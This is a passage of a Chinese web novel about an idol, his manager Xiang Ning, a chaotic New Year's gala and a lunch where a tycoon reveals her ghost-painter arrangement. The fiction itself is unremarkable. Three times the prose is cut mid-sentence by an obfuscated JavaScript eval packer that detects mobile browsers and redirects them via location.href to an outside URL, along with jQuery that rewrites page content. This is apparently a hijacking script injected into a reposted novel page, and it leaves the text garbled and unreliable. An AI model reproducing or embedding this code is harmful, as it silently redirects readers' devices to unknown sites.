以跨年倒计时为界,晚会前半部分只剩他的两个节目还未表演——一个舞蹈,一个独唱。 舞蹈也就罢了,他有信心能用舞台魅力征服观众。 可是独唱…… 天呐,且不说他那时候刚跳完激烈的舞蹈,唱歌的气息肯定不稳。说实话,就算他跳完舞休息半小时再上台,离了修音的现场演唱也根本没法听啊。 等他硬着头皮演完两个节目,唱跳俱佳的人设肯定要崩了,这次真唱翻车的事还不知道要被吃瓜网友嘲讽多久呢! 至于跨年倒计时以后的节目,除了只需播放伴奏的群舞,就是可以滥竽充数的合唱。 也就是说,这条不知道从哪冒出来的新规几乎只对他一个人有负面影响。 身侧那台鼓风机送出的强风混着干冰,仿佛吹散了他昨夜所有无知自得的幻想,使他终于又说出了那句经典台词—— “向宁姐,救我!” 39. 走马灯 此时此刻,况星宸最感谢的群体无疑是这场跨年晚会的赞助商们。 如果不是他们要求主持人念那些又臭又长的广告词,他也没时间找向宁求助。 况星宸按着胸脯给自己压惊,心道:幸好候场的时候向宁被我硬拉着陪在身边,现在还剩一分钟广告时长,足够她想个办法出来了。 “舞蹈节目好好演,不用紧张,能发挥正常水平就行。”她说。 “谁担心这个了?”况星宸急得手心全是汗,“我是怕全开麦翻车好不好!” 其实他纯属自己吓自己。 遇到这种没把握的真唱节目,圈内早就形成了一套通用的应对策略,或者说甩锅策略。 “假装耳返有问题就行。”向宁不紧不慢地说。 “怎么装?” “两个节目中间肯定有几秒过渡时间,你就直接对着控制台的方向指耳返呗。记得控制好动作幅度,既要确保能被镜头拍到,又不能表现的太假太刻意。正式开唱以后时不时调整一下耳返的位置,也别忘了表情管理,最好偶尔露出无奈懊恼的样子。” “我、我尽量,还有吗?” “没啥,好好唱。气息不稳是因为刚跳完舞,音准不稳是因为耳返故障,咬死了别松口就行。” 向宁一边说,一边从包里拿出纸巾帮况星宸擦干掌心的汗。 “去吧,我相信你,一定没问题的。” 她是否真心相信他还有待商榷,但在这种情况下,作为团队里顶梁柱般的人物,向宁总得把情绪价值给足了。 万一这针鸡血混着镇定剂给他打下去,况星宸就超常发挥了呢? 目送他稳步向舞台走去,背影渐渐消失在刺眼的灯光里,向宁收起笑容,眼神一转,朝远处的冠名商广告位看去。 “呈业”二字稳占C位,集团logo亦最为醒目。 经这一遭,祝璋对况星宸的态度变化似乎初见端倪了。 也许,这场假唱被迫变真唱的危机并非意外,而是她对他的惩戒? 是这样吗? 或者说,只是这样吗? 向宁不能妄下结论,毕竟孤证不立,更何况眼前这例孤证还是她自己脑补出来的。 为了寻找更多线索,向宁给乔煦晗发去一条消息。 「煦晗姐,最近上面有发什么新规,要求跨年晚会不许假唱吗?」 对面的回复很快送达:「没有吧,上面自己办晚会不也全都是假唱?」 走个神的工夫,台前的聚光灯便已打在了况星宸身上。 鼓点轻敲三下,音乐正式响起。 一开始,况星宸的舞蹈动作明显是收着力度的,也许是心里紧张的缘故,他迟迟放不开手脚。 等他回过神来,忽然冒出一个念头:反正我不擅长的歌肯定要唱毁了,可不能把我擅长的舞也跳毁啊! 不管了!索性集中精神跳舞,表现得好了说不定还能功过相抵呢! 于是他拿出十二万分的精力来应对第一个节目,endingpose之后已是气喘吁吁,还好没忘了向宁的叮嘱。 跨年晚会的网络直播间里,弹幕已经铺满整个屏幕,除了花样百出的彩虹屁以外,也逐渐有疑惑的声音冒出头来。 [弹幕1]是我看错了吗?况星宸刚才好像在狂指耳返? [弹幕2]星宸的耳返是不是出状况了??? [弹幕3]导演组救一下啊,耳返故障还怎么唱歌啊? 甩锅计划第一步已经走完,舞台灯光暂时暗了下去。约莫三五秒后,下一个节目的伴奏就要开始播放了。 况星宸在一片漆黑中悄悄勾起唇角,他已经听到了耳返里传来执行导演急切的声音。 “喂,况老师,喂喂,能听到声音吗?123,123,能听到吗?” 声声清晰入耳,但他知道这时不能做出任何反应,否则锅就甩不出去了。 等到上下左右的灯光再次亮起,况星宸也换上了焦虑不安的表情。 观众以为他在为耳返故障的事担心。 向宁以为他在按照原定的计划表演。 然而只有他自己知道,这个僵硬的表情全怪歌曲前奏响起的那一刻,执行导演在慌乱中交代的一句话—— “况老师,咱们场馆的提词器突然坏了。” 这句话无异于一道霹雳惊雷,不偏不倚地打在况星宸的头上。 幸好这首抒情歌的前奏足够长,他可以在心里骂完自己熟练掌握的所有脏话。 幸好灌耳音的方法确实有效,他凭借向宁提供的清唱音频记下了不少歌词。 然而这些临时记忆并不足以支撑他唱完整首歌曲,最多坚持到第一段间奏后面的两三句词。 更可怕的是,等他意识到这个问题,第一段间奏已经开始了。 都说人死之前会看见走马灯,像放电影似的,用超高倍速将自己的人生从头到尾回顾一遍。 况星宸现在才知道,原来人在高度紧张,心脏狂跳,濒临崩溃,几欲作呕的时候,也能看见自己的人生电影。 唯一不同的是,他的电影并不是从童年开始拍的,第一个镜头是他进入公司的那一天。 况星宸和向宁是同年进公司的,那时他是练习生,不怎么被公司重视;她是实习生,只能负责和不受重视的小艺人对接。 那时的向宁还没有现在这么强势,况星宸总喜欢撩她,逗她,扮起开屏孔雀来比现在卖力多了。 练习室里偶尔只剩下他们两人,况星宸便会主动给她表演自己的看家本领。 “小宁,你随便放一首歌,我就能即兴跳一段舞,信不信?” 向宁从不正面回答信或不信,只是每次都会选择一首刁钻古怪,完全出乎他意料的歌曲来放。 从儿歌到京剧,从风笛到二胡,况星宸都顺利完成了表演。后来每每想起这段经历,都觉得能吹一辈子牛。 在他的印象里,向宁很少夸他,连认可的眼神都吝啬给。唯独那个时候,她说过几句令他无比受用的话—— “确实厉害,好好练,别荒废了。这本事啊,以后说不定能派上大用场。” 他实打实把这话听进去了,此后每次练习即兴舞蹈时,都在期待将来派上用场的时刻。 也许,就是现在吧。 间奏只有短短几个八拍,况星宸抓紧时间后退几步,将话筒放在舞台边缘的地面上。 在直播弹幕的满屏问号中,他回到舞台中心,直视着正前方的镜头毫不迟疑地摘下耳返。 他和向宁并不算有默契的拍档,甚至在大多数时候,他们的磁场都极为不合。 但是此时此刻,即便没有事先沟通,也没有眼神交流,向宁还是看懂了况星宸奇怪又大胆的举动,猜到了他真实的想法。 独唱变独舞,台前幕后的所有人都吃了一惊,观众也大多一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14922418|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头雾水。 [弹幕1]这不是个唱歌的节目吗?怎么中道崩殂改现代舞了? [弹幕2]前面的说话别那么难听,这明显是在救场啊! [弹幕3]故意炒作吧?能跳成这样肯定事先排练过啊,怎么可能是临场发挥。 让观众吵架永远是提高节目热度的最佳手段,等到况星宸跳完舞鞠躬谢幕时,这场跨年晚会的网络热度已经达到了顶峰,相关词条的热搜也被火速推到了榜首。 作为零点前的最后一位表演嘉宾,况星宸下场以后,主持人们旋即列队上台,开始准备三分钟后的跨年倒计时。 况星宸独自回到休息室,大脑仍在发懵。 他不知道自己刚才算不算成功逆风翻盘,也不知道粉丝和路人对这场状况百出的表演有何评价。 “没事了,放心吧。” 是向宁的声音。 况星宸靠在门板上,伸出一只手对她说道:“过来扶我一把。” 在台上还不觉得有什么,下台以后却越走越腿软,迟来的恐惧混着后怕一起涌上心头。 小杨离他最近,本想顺手扶一把,却被他躲了过去。 “不要你扶!”况星宸瞪他一眼,“出去!” 小杨后退着应了一声,正要出门,又被他叫住。 “那个谁,小秋呢?” “在观众席看节目。”小杨答完又怕况星宸责怪她擅离职守,连忙补充道,“向宁姐给她特批了假期。” “哦,行。”况星宸有气无力地摆摆手,示意他赶紧离开。 于是房间里又剩下他们两人,恍若四年前的练习室。 向宁没有起身去扶况星宸,只问他:“有话找我私聊?” “嗯。”况星宸垂眸看着地板,声音不大,“本来想跟你显摆一下,我这次没靠你出主意,自己摆平了后半场。” “显摆呗,又没人拦着你。”向宁察觉他状态不对,有些奇怪。 况星宸深深望她一眼:“虽然主意不是你出的,但从本质上讲,帮我找到应对思路的不是别人,还是你。四年前的你。” 向宁知道他说的是什么意思,却不想陪他深入聊下去,于是故意把话题往开玩笑的方向带:“怪哲学的,还会透过现象看本质了。” 现在忆往昔又有什么意义呢? 四年前,况星宸满心满口都是梦想,练习室的灯总是亮到深夜。 对比现在,向宁只觉得可悲。也许他仍然会怀念曾经青涩的自己,可是被酒色财气腌入味的心境早就不复当年了。 休息室外愈发嘈杂,离跨年倒计时开始还有一分钟。 “要陪我倒数吗?”况星宸问。 向宁如他预料的那般摇了摇头:“建议你赶紧给祝璋打个电话,也许还来得及做第一个对她说‘新年快乐’的人。” 顺便试探试探她对他的态度有无变化,这才是向宁现在最好奇的事。 “祝璋不喜欢我主动联系她。”他说。 本来还有后半句,但是被向宁的手机铃声打断了。 也许是有人打来对她说新年快乐吧,他想。 向宁却不是这样认为的。 看到来电显示界面的“枕安”二字后,她便暗自感叹——说曹操,曹操到。 不对。 应该是……说曹操,曹操的信使到。 看来不用况星宸帮忙试探,祝璋已经送出了回信。 40. 新年快乐 休息室外太吵闹,不方便接电话,休息室里况星宸又竖着耳朵,总想打探电话另一头是什么人。 对向宁来说,权宜之策只有一个——留在休息室,戴上耳机接电话,让况星宸看得见,猜不着。 “您好,杨老师。” 向宁用这个称呼混淆视听,况星宸却信以为真,不由兴致缺缺,自己玩起了手机。 电话那头,枕安微微一愣,继而警惕起来,怀疑她之所以叫出错误的称呼,是为了表明自己身处危险之中,身旁可能有坏人。 枕安想出言确认,又怕坏人能听见电话里的声音,于是旁敲侧击道:“嗯,是我,你现在方便通话吗?” 向宁的声音很正常,没有任何恐惧不安的影子:“方便,我回休息室了,跟艺人在一起呢。找我什么事呀?” 枕安这才放心,原来她是怕况星宸听到这通电话的内容,所以才这样提醒他。 “有人想请你吃饭,算是感谢你递的消息。”他半遮半掩地说。 “是白老师吗?好呀。”向宁暗喜,看来这个人情卖得很成功。 “简小姐告诉你的?”关于祝璋就是白鹤涯这件事。 “嗯,对。” 本就是随口一问,枕安紧接着把话题拉回正轨:“你什么时候有空?” 向宁的脑子里时刻印着行程表,立即回答道:“不出意外的话,这周末。” “好,我转告她。” 话音还没落,休息室的门外忽然响起手持礼花炸响的声音,紧接着便是一群工作人员此起彼伏的笑声和讲话声。 “怎么走火了,你是不是想搞个大新闻?” “我的我的,马上跨年太激动了哈哈哈哈!” “嘘——别吵,主持人开始倒数了。” 门外的工作人员们或许抱着手机,在看网络直播,或许支着耳朵,在听舞台音响的声音。此时此刻,都跟着主持人一同数起数来,这也许是一整晚繁重工作中,最有趣的集体摸鱼时间了,虽然只有十秒钟。 “十——九——八——” 向宁自认为不是很有仪式感的人,却也被门外的欢声笑语感染,情不自禁想加入其中。 “还有什么事吗?”她一边问着,一边朝门口走去,“没事的话,我就先挂了?” “稍等。”枕安连忙叫住她,“还有一件……挺重要的事。” “七——六——” 向宁打开门,发现小杨和麦秋也在不远处。二人脸上都挂着笑容,见她走来,便抓紧最后几秒时间分给她一支手持礼花,又考虑到她在打电话,于是用手势比比划划着描述礼花的使用方法。 “五——四——” “嗯,你说。”周边的环境比休息室里嘈杂太多,向宁不知不觉就放大了讲话的音量。 “三——二——” 最关键的一秒即将到来,所有人都凝聚神思,握紧手中的礼花。 “一!新年快乐!” “向宁,新年快乐。” 枕安的声音本该与众人重叠,可是向宁的名字却帮他错开了半秒高峰期,加上耳机的作用,这句祝福就好像是他贴在她耳边说的一样。 意外之下,向宁忘了拉响手中的礼花,麦秋和小杨却把金光闪闪的彩带碎片都喷向了她的头顶。 闪片下落的速度有快有慢,像蝴蝶成群结队飞过,偏有一只自作主张更换路线,恋恋不舍地栖在向宁的头发上。 “你也是。”她的声音被喧嚣的环境淹没,连自己都听不清,“新年快乐。” 后台狭窄拥挤,没有窗户,天花板也是封死的,看不见外面的环境。 可是所有人都觉得,此刻的夜幕上一定有最漂亮的星星。也许遥远,但是只要知道它在,就能收获一整年的好心情。 …… 挂掉电话,向宁立马投入了后续的营销工作,按计划引导粉丝将况星宸的舞台事故认定为积极救场。 枕安则重新拿起画笔,一边在画布上铺色,一边对着空空如也,看不见第二个人的画室说道:“约好了,这周末。具体时间看你什么时候有空吧。” 祝璋的声音从他的储藏间里传来:“哦。” 枕安瞟了一眼她所在的方向:“你忙成那样,这点小事给我发条微信不就行了,何必亲自跑一趟我的画室?” 祝璋的脚步声渐渐靠近,手上拎着个上了锁的药箱,微微用力扔在枕安面前的地板上,震起箱面上的一层薄尘。 “我要是不来,怎么能发现你擅自停药的事呢?” 她的神情没有明显的怒意,但这并不代表她不生气。恰恰相反,她的“本我”已经火冒三丈了。 枕安目光不移,画笔不停,平静道:“不是擅自,是裴医生建议我停药的,她评估过了。” 说到这里,他顿了顿,疑惑抬眸道:“已经是一个月之前的事了,裴医生没有告诉你吗?” 眼看祝璋脸色不太好,枕安只得找补一句:“喔,也正常。大概是职业规范使然,她不能随意透露这些信息吧。” 祝璋冷笑一声,走去窗边点了支烟,什么也没有说。 枕安扭头向她看去。 这可有点反常。 “你们又吵架了?”他问。 “差不多吧……”祝璋盯着香烟末端的一点火光,故作轻松道,“我们分手了。” 枕安听到这个原因,刚才悬起的心立时稳稳放下,又把注意力移回画布上。 “你们总是这样分分合合。”他都习惯了。 “这次不一样。”祝璋靠在窗边,声音被风吹得不甚清晰,“说分开,就是彻底分开了。” 枕安停住画笔,疑惑道:“为什么?” “她接受不了我和况星宸牵扯在一起。” “可你又不是真的喜欢他,假装跟他恋爱只是为了——” “就是因为这样,她才接受不了。”祝璋直接打断枕安,也许是因为不想听他复述一遍自己跟前女友说过的话。 枕安放下笔,想说点什么安慰她,又怕自己笨嘴拙舌,反而踩到她伤心处。 祝璋看得出他的踌躇,灭了烟微笑道:“别安慰我,我可不想掉鸡皮疙瘩。” 说完就向门外走去,没有再留下半句话。 …… 答谢宴的时间定在周日中午,祝璋派了一辆迈巴赫来接向宁。 汽车开出许久才驶入私人会所,此处颇有江南园林意蕴,周遭的置景有山石,有竹林,有瀑布,有温泉,配上此刻的漫天落雪并不显得违和,反而有种别样的美。 这场面要是放在仙侠剧里,瀑布后面肯定有个世外高人正在盘腿打坐。 向宁的脑内小剧场才演到一半,侍者就帮她打开了车门。 白手套握着兽首雨伞,不远不近地护在她身边,直到走进室内也没让她沾到半点雪花。 向宁本以为自己跟着向晚蘅的那几年也曾见过不少世面,可是如今体验了这番待遇,才知道自己是得不起富贵病的。 让她像这样享一回被人伺候的福,简直比直接让她受罪还难捱。 今天从被人请上车的那一刻到现在,向宁开口“谢谢谢谢”,闭口“不用不用”。说句不好听的,她再客气一点就要和侍者夫妻对拜了。 进了第二道门,撑伞的侍者告辞退场。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14930325|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向宁本以为可以松一口气,没想到其他工作人员们就像跑接力赛一般,你方唱罢我登场。 首发选手是一位年纪稍长的姐姐,脸上挂着既足够礼貌又不会显得过于热情的微笑:“向小姐中午好,请问您需要更衣吗?不知道您喜欢什么风格,我们就多备了几套衣服。” 向宁不怕露怯,直接问道:“要进去吃饭,是必须遵守什么着装要求吗?” “不,对您没有要求,怎么舒服就怎么来。祝总跟我们交代过了。” “喔,那就不换了吧,我穿这身挺舒服的。” “好的,那么您的外套需要交给我们保管吗?里面可能有点热。” 向宁刚才就注意到了,众人都穿着单薄的新中式制服,只有她一个人裹着加绒皮衣,确实快出汗了。 “好的,麻烦您。” 当她脱下皮衣交给对方,第二棒选手已经严阵以待了。 那是位年轻的女孩,气质与麦秋类似,笑起来很亲切,而且朝气蓬勃,完全没有周末加班的疲惫感。 哦,或许她们的加班工资也是向宁无法想象的数字呢? “向小姐中午好!来,我扶着您,麻烦先把左脚往后抬一抬。” 尽管不知道为什么要这么做,向宁还是乖乖照做了。 第三第四棒选手紧接着上场,那是两个年轻男生,都小有姿色,乍看跟双胞胎似的。 两人分别捧着一条温热厚实的白毛巾,左边的先站到向宁身后,单膝跪地,帮她仔细擦干净左脚鞋底上的污痕。向宁抬起右脚后,再由另一人依样照做。 即便鞋底有一定的厚度,二人擦鞋时向宁还是觉得自己被挠中了痒痒肉,也许是心理作用吧。 走完这样复杂的流程,最后一棒选手终于闪亮登场。 “向小姐中午好,我是您的引路员。” “枕安?” 向宁定睛一瞧,他的服装风格与其他工作人员迥然不同。贴身衬衫袖口卷至臂弯,西装马甲大幅度收腰,不知道的还以为裁缝想在这省点料子呢。 “你穿着这个不勒得慌吗?”她看着都觉得紧,“咱可是来吃饭的,别告诉我你是小鸟胃啊。” “好看就行。”枕安摸了摸腰间的扣子,忽地一怔,又向她征求意见道,“所以,好看吗?” 向宁恍然大悟——喔,差点忘了。他们搞艺术的人,穿衣服大约也有美学追求吧。 “从我的职业角度来说……”向宁一秒戴上工作滤镜,对枕安上下审视一番,半正经半玩笑道,“身材不错。想出道做idol的话,肌肉线条建议保持现状。多一分则转型武打明星,少一分则转型秀场嫩模。” 虽然她语带调侃,但这份评价背后的夸赞意味还是很明显的。 枕安的两边嘴角下意识想往上抬,大脑却死死按住它们,反复告诫自己不能得意忘形。 “咳,时间差不多了,跟我来吧。” 说完抿起嘴,低下头,默默在前面带路。 向宁似乎找到了调戏良家妇男的乐趣,跟在后面幽幽道:“才夸两句耳尖就红啦?那可不太适合出道做idol呢。” 枕安脚步一顿,摸着一边耳朵慢慢转身,避着向宁的目光问道:“真的……红了吗?” 向宁失笑,如实回答说:“没有,我逗你的!你对自己的心理素质有点信心好不好!” 枕安这才踏实下来,刚要迈步,忽又侧过身对向宁道:“你别跟在我后面了,并排走吧。” 向宁大方上前,和他一起朝电梯走去。 进电梯时,她不着痕迹地瞟向枕安的耳尖。 这一次,是真的红了呢。 41. 答谢宴 面对面见到祝璋以后,向宁发现她和新闻图片里的样子并不相同。 这种区别不在于长相,而是一种整体的状态。 财经新闻里,祝璋永远不苟言笑,雷厉风行,高定套装几乎没有重样,价值不菲的腕表也时常更换。 此时此刻,她却只穿着一条剪裁简单的宽松长裙,头发用一只白玉短簪随意挽在脑后,除此之外全身上下再无其他饰品。 餐桌设在落地窗边,虽是大桌,搭配的却是三人各自点菜的分餐制。 向宁原本觉得有些违和,可是看看三人的服装风格,又觉得没必要五十步笑百步——祝璋中式简约风,枕安西式复古风,自己现代通勤风,坐在一桌多少有点高中历史模拟考的味道。 Sorry,她的脑内小剧场又不合时宜地开演了,收! 点完菜,彼此寒暄几句“久仰大名”之类的客套话,祝璋忽然话锋一转道:“听说陌生人初次见面,讲个笑话能拉近彼此的距离,但我不擅长这个。要不,咱叫两个演员来听段相声?或者,来点洋单口,听个专场也行。向小姐更喜欢哪个?” “我?都行。” 向宁嘴上虽这么说,心里却已经开始犯职业病了,暗自寻思道:相声和单口喜剧演员的档期是怎么排的?如果既定行程撞上这种急活怎么办?经纪人会觉得开心还是糟心呢?鸽了那边的话,违约金这边能代赔付吗? 还没想出个所以然,就听枕安在一旁吐槽祝璋:“你不觉得刚才把这个想法说出来,和直接讲笑话有同等效果吗?” 祝璋自然能听懂他的调侃,于是斜睨枕安一眼:“这种饭局,要不是甩开中间人实在不地道,我可真不想带你。” 枕安含着笑喝了口茶:“好,那我不说话了。” 进门短短几分钟,向宁已经是第二次发现想象与实际不符了——原来他们的相处模式是这样啊,比她想象的轻松随意多了嘛。 等等,这两人都这样无所顾忌,心直口快地互相揶揄了,枕安竟然还说他们不算朋友? 要不是她亲眼所见,还真让他给蒙过去了。 “这可是你自己说的,要是做不到怎么办?”祝璋看着枕安问道。 枕安不说话,只摊开手,意为:你说怎么办? 祝璋思忖片刻,计上心头:“从现在开始,你再说一句话,就跟我多续一年合作约。” 枕安睫毛一颤,蹙起眉毛回盯祝璋,意为:没必要这么夸张吧? 祝璋不理会他的抗议,露出少见的微笑:“来得早不如来得巧,向小姐,你就给我们做个见证人吧。” 向宁忽然有一种坐在前排看戏,中途被演员强拉上台即兴互动的局促感,嘴里只能蹦出来一个字。 “我?” 目光平移向枕安,他似乎已经放弃了挣扎。 那么…… “也行。”就硬着头皮上吧。 绕了这一大圈,折进去一个枕安,祝璋终于聊起她们心照不宣的关键话题了。 “对了,向小姐,况星宸现在应该更信任你了吧?” 向宁不知道她这个问题背后有何意图,不想轻易交出实底,于是含糊道:“还行,老样子。赶上他心情好的时候,能多听我两句劝。” “是吗?”祝璋似乎看出了她的保留态度,“可是我听小杨说,自从你帮况星宸保住了红血代言,又化解了跨年晚会的危机,他就更信任、更依赖你了。” 小杨? 况星宸的助理,杨晨叶? 他是祝璋的人? “听小杨说?”向宁引述祝璋的话,表情意味深长,“所以,祝总您早就知道况星宸劈腿的事?甚至,可能比我知道得还清楚。” 祝璋没有正面回答,只说:“小杨虽然喜欢在况星宸面前装傻,但在正经事上,他至少对得起我付的那份工资。” 向宁不解:“据我所知,您还没有跟他分手。” “嗯,没分,因为我不在乎。”祝璋一脸无所谓,像自己并非当事人似的,“就算况星宸把腿劈成蜈蚣,我也不在乎。” 向宁说出自己的猜测时,心里已经有七八分确信了:“您不喜欢他。” 这次轮到祝璋疑惑了:“谈恋爱,一定要喜欢吗?” 向宁不相信她的表演,继续猜测道:“您留着他有别的用处。” 祝璋先是一愣,继而垂下目光眨了眨眼,纠正道:“我拴着他,有别的用处。” 向宁立刻调整战略,以退为进,自嘲一笑:“看来我这次通风报信是多此一举了。” “话也不能这么说。” 祝璋起身帮她续上瓷杯里的茶水,距离拉近,说话的声音便小了几分。 “杨晨叶收钱办事,天经地义,但你不一样。在此之前,你并没有从我这得到半分好处,可还是愿意递消息给我。不管你此举出于什么考量,我都愿意交你这个朋友。” 向宁没有立刻表现出喜悦,转而去尽量延长推拉的过程。有些不太上得了台面的揣测,得自己先说破了,对方才能真正安心。 “祝总就不怕我是双面间谍?”她抬起头,用隐隐含笑的双眸与祝璋对视,“我能背刺况星宸,也许未来同样会背刺朋友呢?” “不怕。” 祝璋轻轻放下茶壶,一手撑着桌面,一手扶着向宁的椅背,附耳轻声低语。 “向小姐,你不会背刺简晓夜的。” 向宁眼神一动,瞬时听懂了她话中的两层含义。 其一,向宁真心把简晓夜视作朋友,所以绝不会伤害对方。如果她也能真心把别人划入好友圈,不论祝璋,还是其他什么人,想来都有这份待遇。 其二,简晓夜已经签了祝璋的剧组,算上前期培训、正式拍摄、宣传路演等等,近一年时间都在祝璋的牵制之下。如果向宁敢背刺祝璋,就相当于把简晓夜推出去做活靶子,代她受过。 聪明人博弈往往不需要冗长的对话,只需一个对视。 目光短暂相接那几秒,二人都在对方的眼神里看到了自己的影子。虽然较着不必要的劲,却双双流露出了对同类物种的欣赏。 “咳!咳咳!” 好明显的装咳嗽声。 或许是见气氛忽变,想要救场,或许是听到祝璋和向宁的社交距离已经拉响警报,怕出点什么事。总之,枕安决定先用咳嗽声打断她们意味不明的对视。 然而枕安怎么也不会想到,他的突兀举动终究把祸水引到了自己头上。 祝璋坐回原位,冷脸看着他宣判道:“说话了,续签一年。” 枕安不服气地瞪大眼睛,意为:只是咳嗽了两声,怎么能算说话? 祝璋又扭头去看他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14935643|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的见证人:“这案子,向小姐怎么判?” 向宁只恨这段对话出现的场所不是微信群聊,否则她完全可以用一个插科打诨的表情包蒙混过关—— [困了,不审了,死刑.jpg] 可是现在对着一左一右两道眼神,向宁赞同哪边都像是在拉偏架。 既然如此,那就让他们感受一下中庸的哲学吧。 “要不……续半年?” 另外两人对视一眼。 成交。 向宁见状不由好奇:他们的合作约到底是什么洪水猛兽,这么难续?难道……是黑心资本家的不平等条约? 很快,这个问题就得到了解答。 “向小姐,枕安有没有跟你提过我和他是怎么认识的?” 向宁摇摇头。 祝璋接着问道:“那他应该也没有提过我们的合约内容吧?” 向宁一惊:“没有没有。” 这些内容肯定不能到处跟人讲啊! 再说了,一般的合同不是都有保密条例吗? 祝璋仿佛听到了她的心声,解释道:“我们没签过合同。怎么分账,怎么续签,是否按约定履行义务,全凭他自觉。” 向宁听完有些惊讶,天底下竟然还有这么善心大发的资本家? 不过,她对他们的合作模式并不感兴趣,她更想搞明白的是——祝璋为什么要告诉她这些? 总不会是也想跟她签一个没有合同的条约吧?那可不行。 祝璋对向宁的反应也很意外:“你不好奇我和枕安的合作内容是什么吗?其他许多人可都在想方设法打探消息呢。” 向宁抿了一口茶,权当压压惊:“这是我能问的吗?” 枕安也满头问号,握拳轻敲两下桌子,意为:你跟人家说这些干什么? 祝璋对枕安甩出一记眼刀,示意他别瞎掺和,继而扭头对向宁和颜悦色道:“因为想请你帮个忙,所以得先把前情交代清楚。” 这是个积极信号,向宁果断接住:“嗯,您说。” 祝璋眉毛微挑:“是我预判失误。看来,得请向小姐帮我两个忙啊。” 枕安捂着嘴,却没拦住一声轻笑。 “你又出什么怪声?”祝璋斜他一眼,“还想续签是不是?” 枕安耸耸肩,对上向宁的目光,后者心念一动,大约猜到了他在笑什么。 “可能是因为,他以前对我说过同样的话。” 祝璋不知端倪:“哦?” 向宁为她答疑解惑道:“枕安请我帮的第一个忙是——让我对他不再称‘您’,而是称‘你’。” 言外之意便是:祝总也一样吗? 无需多问,只看祝璋的表情就知道答案。 于是向宁主动给出台阶:“祝总,你继续说吧,关于你们的合约内容,我洗耳恭听。” 向宁本以为祝璋会讲出一些自己听不懂的专业名词,没想到她接下来的第一段话就彻底推翻了这一预期。 “还记得我当初擅自叫停文艺频道对枕安的采访吗?那并不是为了帮况星宸遮掩什么,而是为了践行合约内容,禁止枕安公开出镜。因为……” 祝璋观察着向宁的反应,在适当的时机道出答案。 “在我父亲的认知里,我才是他们吹捧的天才画家,艺名枕安。” 42. 冒昧的请求 祝高远一直希望能把女儿培养成画家,让自己脸上沾点艺术的光。 然而祝璋并不喜欢画画,为了应付父亲,便找了枕安做枪手。没想到他天赋异禀,渐渐在圈内有了些名气。 祝高远相信了“枕安”是祝璋的艺名,顿觉与有荣焉,于是在暗中帮忙运作几番,枕安的作品价格便一路水涨船高。 “原来是这样。” 向宁不由啧啧称奇,紧接着又询问祝璋。 “可是我不明白,知道这些内情以后,我又能帮到你什么呢?” 祝璋自嘲般冷笑一声:“是我一时疏忽,让杜琮把他的人安插到了我身边。这么多年来,他还是头一次抓住我的把柄,可不得上赶着给我父亲通风报信么?” 杜琮这个名字,向宁已经有段时间没有听到了。 当初霸榜热搜的富二代绑架女明星案很快就被网友抛之脑后,不了了之。物证室里的录音笔也如孙律师预告的那样不翼而飞,再无说法。 向宁纵然再厌恶杜琮,短时间内却也无可奈何。 不过……既然祝璋和他也是水火不容的关系,那么敌人的敌人,当然就是朋友了。 “你是说,杜琮把你不是‘枕安’本人的事告诉令尊了?” 祝璋重重一点头。 “算算时间,我父亲的人应该已经去他的画室和住所搜查了。” 枕安闻言立刻面露焦急,眼神仿佛在质问她:这么重要的事,为什么不早告诉我? “别那么沉不住气,杜琮身边又不是没有我的人!”祝璋瞟他一眼,继续说道,“今天早上你刚出门,我就收到了消息,马上派人去你家收拾残局了,保准我父亲什么都查不到。” 枕安不方便讲话,向宁便成了他的嘴替:“收拾残局?” “倒不是什么麻烦事,只要把他家的男性衣物和洗漱用品打包带走,再放点我的衣服首饰进去,我父亲那边的警报就可以解除了。” 听了这么多,向宁仍有疑惑:“可是祝总你在贵集团堪称劳苦功高,就算在这点小事上耍耍心眼,被令尊戳穿了,也不至于因此产生太严重的后果吧?” 这次祝璋还没回答,枕安就用力摇了摇头,继而用手比出刀的形状,横在颈间比划了一下。 “你是说,她父亲如果知道真相,会拿你开刀出气?”向宁试着翻译他不甚专业的手语。 枕安顿了顿,似乎不知该点头还是摇头。 祝璋接过这个话茬,认同道:“杜琮是我父亲一手教出来的关门弟子,身上有他的很多影子。但是从某种程度上讲,我父亲可比他狠多了。” 往事历历在目,向宁不由倒吸一口凉气,猜测道:“所以,你是想找我帮忙出个营销方案,让令尊打消疑虑,相信你就是‘枕安’本人?” 祝璋微笑着摇摇头:“不。一旦这样公开营销,我就无法信守承诺,在我父亲失去威胁以后把枕安的身份还给他了。” 枕安听到这里,忽然开口阻拦道:“别说了。” 祝璋敲敲桌子:“又说话了,再续一年。” 枕安皱眉道:“再续十年,你别说了!” 